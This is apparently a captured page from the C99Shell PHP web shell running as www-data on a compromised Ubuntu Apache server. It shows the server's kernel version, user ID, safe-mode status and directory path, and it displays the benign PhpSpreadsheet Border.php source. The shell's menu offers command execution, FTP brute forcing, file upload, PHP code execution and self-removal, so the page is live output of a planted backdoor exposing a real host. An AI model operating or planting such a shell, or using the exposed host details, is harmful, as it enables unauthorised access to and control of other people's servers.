!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml/Style/   drwxr-xr-x
Free 13.21 GB of 57.97 GB (22.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Border.php (3.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Reader\Xml\Style;

use 
PhpOffice\PhpSpreadsheet\Style\Border as BorderStyle;
use 
PhpOffice\PhpSpreadsheet\Style\Borders;
use 
SimpleXMLElement;

class 
Border extends StyleBase
{
    protected const 
BORDER_POSITIONS = [
        
'top',
        
'left',
        
'bottom',
        
'right',
    ];

    
/**
     * @var array
     */
    
public const BORDER_MAPPINGS = [
        
'borderStyle' => [
            
'1continuous' => BorderStyle::BORDER_THIN,
            
'1dash' => BorderStyle::BORDER_DASHED,
            
'1dashdot' => BorderStyle::BORDER_DASHDOT,
            
'1dashdotdot' => BorderStyle::BORDER_DASHDOTDOT,
            
'1dot' => BorderStyle::BORDER_DOTTED,
            
'1double' => BorderStyle::BORDER_DOUBLE,
            
'2continuous' => BorderStyle::BORDER_MEDIUM,
            
'2dash' => BorderStyle::BORDER_MEDIUMDASHED,
            
'2dashdot' => BorderStyle::BORDER_MEDIUMDASHDOT,
            
'2dashdotdot' => BorderStyle::BORDER_MEDIUMDASHDOTDOT,
            
'2dot' => BorderStyle::BORDER_DOTTED,
            
'2double' => BorderStyle::BORDER_DOUBLE,
            
'3continuous' => BorderStyle::BORDER_THICK,
            
'3dash' => BorderStyle::BORDER_MEDIUMDASHED,
            
'3dashdot' => BorderStyle::BORDER_MEDIUMDASHDOT,
            
'3dashdotdot' => BorderStyle::BORDER_MEDIUMDASHDOTDOT,
            
'3dot' => BorderStyle::BORDER_DOTTED,
            
'3double' => BorderStyle::BORDER_DOUBLE,
        ],
    ];

    public function 
parseStyle(SimpleXMLElement $styleData, array $namespaces): array
    {
        
$style = [];

        
$diagonalDirection '';
        
$borderPosition '';
        foreach (
$styleData->Border as $borderStyle) {
            
$borderAttributes self::getAttributes($borderStyle$namespaces['ss']);
            
$thisBorder = [];
            
$styleType = (string) $borderAttributes->Weight;
            
$styleType .= strtolower((string) $borderAttributes->LineStyle);
            
$thisBorder['borderStyle'] = self::BORDER_MAPPINGS['borderStyle'][$styleType] ?? BorderStyle::BORDER_NONE;

            foreach (
$borderAttributes as $borderStyleKey => $borderStyleValuex) {
                
$borderStyleValue = (string) $borderStyleValuex;
                switch (
$borderStyleKey) {
                    case 
'Position':
                        [
$borderPosition$diagonalDirection] =
                            
$this->parsePosition($borderStyleValue$diagonalDirection);

                        break;
                    case 
'Color':
                        
$borderColour substr($borderStyleValue1);
                        
$thisBorder['color']['rgb'] = $borderColour;

                        break;
                }
            }

            if (
$borderPosition) {
                
$style['borders'][$borderPosition] = $thisBorder;
            } elseif (
$diagonalDirection) {
                
$style['borders']['diagonalDirection'] = $diagonalDirection;
                
$style['borders']['diagonal'] = $thisBorder;
            }
        }

        return 
$style;
    }

    protected function 
parsePosition(string $borderStyleValuestring $diagonalDirection): array
    {
        
$borderStyleValue strtolower($borderStyleValue);

        if (
in_array($borderStyleValueself::BORDER_POSITIONS)) {
            
$borderPosition $borderStyleValue;
        } elseif (
$borderStyleValue === 'diagonalleft') {
            
$diagonalDirection $diagonalDirection Borders::DIAGONAL_BOTH Borders::DIAGONAL_DOWN;
        } elseif (
$borderStyleValue === 'diagonalright') {
            
$diagonalDirection $diagonalDirection Borders::DIAGONAL_BOTH Borders::DIAGONAL_UP;
        }

        return [
$borderPosition ?? null$diagonalDirection];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--